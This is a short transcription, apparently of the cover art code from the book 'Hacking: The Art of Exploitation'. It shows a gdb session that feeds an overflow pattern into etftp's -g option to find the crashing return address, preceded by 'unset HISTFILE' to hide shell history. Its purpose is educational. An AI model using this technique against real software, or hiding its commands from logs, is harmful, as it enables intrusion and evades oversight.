Created
July 11, 2022 17:59
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Hacking: The Art Of Exploitation book cover code (partial)
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| $ unset HISTFILE | |
| $ gdb -q /usr/bin/etftp | |
| Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". | |
| (gdb) run -g $(perl -e 'print "AAAA"x64;for($i=65;$i<90;$i++){print | |
| chr($i)x4}') | |
| Starting program: /usr/bin/etftp -g $(perl -e 'print | |
| "AAAA"x64;for($i=65;$i<90;$i++){print chr($i)x4}') | |
| tftp: unknown host | |
| AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | |
| AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | |
| AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | |
| AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL | |
| MMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYY | |
| Usage: get remote_file [local_file] | |
| Program received signal SIGSEGV, Segmentation fault. | |
| 0x46464646 in ?? () | |
| (gdb) x/40x $esp - 100 |
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